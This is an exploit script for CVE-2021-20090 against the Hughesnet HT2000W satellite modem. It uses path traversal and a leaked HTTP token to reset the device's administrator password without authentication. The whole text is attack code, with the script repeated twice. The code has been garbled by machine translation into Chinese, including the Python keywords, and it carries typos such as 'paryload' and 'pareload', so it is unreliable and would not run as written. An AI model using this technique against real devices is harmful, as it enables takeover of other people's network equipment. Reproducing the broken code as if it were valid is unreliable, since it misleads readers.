#Exploit Title: Hughesnet HT2000W卫星调制解调器(Arcadyan HTTPD 1.0) - 密码重置
#日期: 7/16/24
#利用作者: Simon Greenblatt Simongreenblatt [at] Protonmail.com
#Vendor: Hughesnet
#版本: Arcadyan HTTPD 1.0
#在: Linux上测试
#CVE: CVE-2021-20090
导入系统
导入请求
导入
导入基础64
导入哈希布
导入Urllib
红色='\ 033 [0; 41m'
绿色='\ 033 [1; 34; 42m'
reset='\ 033 [0M'
def print_banner():
打印(绿色+'''
_________________________________________________________________________ ___________________________________________________________________________________________
\ _ _ \//\ _ ___/\ _____ \ _ \ _ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ _ \ \ \ \ \ \ _ \ _ \ _ \ _ \ _ \ _ \ _ \ _ \ _
/\ \ \/\ y/| )_ ____///_ \ \/_/| | ______/_____//_ \ \ \/_ \ \ \ \ ____//_ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ __ \/| \/___//\ \ /\/\ | |/____///\ \ _/\ \ \ _/\/\/\ \ _/\
\ _____ /\ //__ /\ _______ \ _____ /\ ________ \ ______ \ ______ \ ______ /\ ______ //\ ______ //
\/\/\/\/\/\/\/\/\/\/\/\/\ n''' + reset)
打印(“管理员密码重置Hughesnet HT2000W卫星调制解调器”)
打印(''''
USAGE: PYTHON3 HUGHES_HT2000W_PASS_RESET.PY密码IP_ADDRESS
密码:新的管理员密码
ip_address: Web门户的IP地址。如果没有提供,则脚本将默认为192.168.42.1 \ n
该脚本利用CVE-2021-20090,这是HT2000W调制解调器HTTP守护程序中的路径遍历漏洞
配置门户的管理员密码。它还利用设备中的其他漏洞,例如
不当使用Httokens进行身份验证和门户,允许密码的MD5哈希泄露。'')
没有返回
def get_httoken(ip_address):
#使用路径遍历向System_p.htm提出get请求
r=requests.get(f'http://{ip_address}/images /.% 2fsystem_p.htm')
如果r.status_code!=200:
打印(红色+ f'( - )失败:无法请求System_p.htm' +重置)
出口()
#提取隐藏在DOM中的Httoken并从base64转换
返回base64.b64decode(re.search(r'aaaibraa7(。*?)',r.text).group(1))。解码('ascii')
DEF ENCODE_PASS(密码):
#Vigenere密码
键='WG7005D'
enc_pass=''
IDX=0
对于密码中的C:
enc_pass +=str(ord(c) + ord(key [idx])) +' +'
idx=(idx + 1)%len(键)
返回enc_pass
def change_pass(ip_address,httoken,enc_pass):
#使用HTTOKEN和编码密码创建帖子请求
标题={'content-type':'应用程序/x-www-form-urlencoded','referer': f'http://{ip_address}/sysystem_p.htm'}
paryload={'action':'ui_system_p','httoken': httoken,'submit_button':'system_p.htm','arc_sys_pass_pass_pass'3: enc_pass}
有效载荷=urllib.parse.urlencode(有效载荷,safe=':+')
TRY:
r=requests.post(f'http://{ip_address}/images /.% 2fapply_abstract.cgi',data=pareload,headers=headers)
Except:
经过
没有返回
def verify_pass(ip_address,new_pass):
#向cgi_sys_p.js提出get请求以验证密码
httoken=get_httoken(ip_address)
标题={'referer': f'http://{ip_address}/system_p.htm'}
r=requests.get(f'http://{ip_address}/images /.% 2fcgi/cgi_sys_p.js?_tn={httoken}',headers=headers)
如果r.text.split(''')[5]!=hashlib.md5(bytes(new_pass,'ascii'))。hexdigest():
打印(红色+'( - )失败:无法验证密码的哈希+重置)
出口()
def main():
如果不是(len(sys.argv)==2或len(sys.argv)==3):
print_banner()
返回
new_pass=sys.argv [1]
ip_address='192.168.42.1'
如果sys.argv==3:
ip_address=sys.argv [2]
httoken=get_httoken(ip_address)
print(f'[+]获得的httoken: {httoken}')
enc_pass=encode_pass(new_pass)
change_pass(ip_address,httoken,enc_pass)
打印(f'[+]密码重置为: {new_pass}')
verify_pass(ip_address,new_pass)
打印('[ +]验证的密码hash:' + hashlib.md5(bytes(new_pass,'ascii'))。hexdigest())
打印('[+]密码成功更改!')
返回
如果name=='__ -Main __':
主要的()
#日期: 7/16/24
#利用作者: Simon Greenblatt Simongreenblatt [at] Protonmail.com
#Vendor: Hughesnet
#版本: Arcadyan HTTPD 1.0
#在: Linux上测试
#CVE: CVE-2021-20090
导入系统
导入请求
导入
导入基础64
导入哈希布
导入Urllib
红色='\ 033 [0; 41m'
绿色='\ 033 [1; 34; 42m'
reset='\ 033 [0M'
def print_banner():
打印(绿色+'''
_________________________________________________________________________ ___________________________________________________________________________________________
\ _ _ \//\ _ ___/\ _____ \ _ \ _ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ _ \ \ \ \ \ \ _ \ _ \ _ \ _ \ _ \ _ \ _ \ _ \ _
/\ \ \/\ y/| )_ ____///_ \ \/_/| | ______/_____//_ \ \ \/_ \ \ \ \ ____//_ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ __ \/| \/___//\ \ /\/\ | |/____///\ \ _/\ \ \ _/\/\/\ \ _/\
\ _____ /\ //__ /\ _______ \ _____ /\ ________ \ ______ \ ______ \ ______ /\ ______ //\ ______ //
\/\/\/\/\/\/\/\/\/\/\/\/\ n''' + reset)
打印(“管理员密码重置Hughesnet HT2000W卫星调制解调器”)
打印(''''
USAGE: PYTHON3 HUGHES_HT2000W_PASS_RESET.PY密码IP_ADDRESS
密码:新的管理员密码
ip_address: Web门户的IP地址。如果没有提供,则脚本将默认为192.168.42.1 \ n
该脚本利用CVE-2021-20090,这是HT2000W调制解调器HTTP守护程序中的路径遍历漏洞
配置门户的管理员密码。它还利用设备中的其他漏洞,例如
不当使用Httokens进行身份验证和门户,允许密码的MD5哈希泄露。'')
没有返回
def get_httoken(ip_address):
#使用路径遍历向System_p.htm提出get请求
r=requests.get(f'http://{ip_address}/images /.% 2fsystem_p.htm')
如果r.status_code!=200:
打印(红色+ f'( - )失败:无法请求System_p.htm' +重置)
出口()
#提取隐藏在DOM中的Httoken并从base64转换
返回base64.b64decode(re.search(r'aaaibraa7(。*?)',r.text).group(1))。解码('ascii')
DEF ENCODE_PASS(密码):
#Vigenere密码
键='WG7005D'
enc_pass=''
IDX=0
对于密码中的C:
enc_pass +=str(ord(c) + ord(key [idx])) +' +'
idx=(idx + 1)%len(键)
返回enc_pass
def change_pass(ip_address,httoken,enc_pass):
#使用HTTOKEN和编码密码创建帖子请求
标题={'content-type':'应用程序/x-www-form-urlencoded','referer': f'http://{ip_address}/sysystem_p.htm'}
paryload={'action':'ui_system_p','httoken': httoken,'submit_button':'system_p.htm','arc_sys_pass_pass_pass'3: enc_pass}
有效载荷=urllib.parse.urlencode(有效载荷,safe=':+')
TRY:
r=requests.post(f'http://{ip_address}/images /.% 2fapply_abstract.cgi',data=pareload,headers=headers)
Except:
经过
没有返回
def verify_pass(ip_address,new_pass):
#向cgi_sys_p.js提出get请求以验证密码
httoken=get_httoken(ip_address)
标题={'referer': f'http://{ip_address}/system_p.htm'}
r=requests.get(f'http://{ip_address}/images /.% 2fcgi/cgi_sys_p.js?_tn={httoken}',headers=headers)
如果r.text.split(''')[5]!=hashlib.md5(bytes(new_pass,'ascii'))。hexdigest():
打印(红色+'( - )失败:无法验证密码的哈希+重置)
出口()
def main():
如果不是(len(sys.argv)==2或len(sys.argv)==3):
print_banner()
返回
new_pass=sys.argv [1]
ip_address='192.168.42.1'
如果sys.argv==3:
ip_address=sys.argv [2]
httoken=get_httoken(ip_address)
print(f'[+]获得的httoken: {httoken}')
enc_pass=encode_pass(new_pass)
change_pass(ip_address,httoken,enc_pass)
打印(f'[+]密码重置为: {new_pass}')
verify_pass(ip_address,new_pass)
打印('[ +]验证的密码hash:' + hashlib.md5(bytes(new_pass,'ascii'))。hexdigest())
打印('[+]密码成功更改!')
返回
如果name=='__ -Main __':
主要的()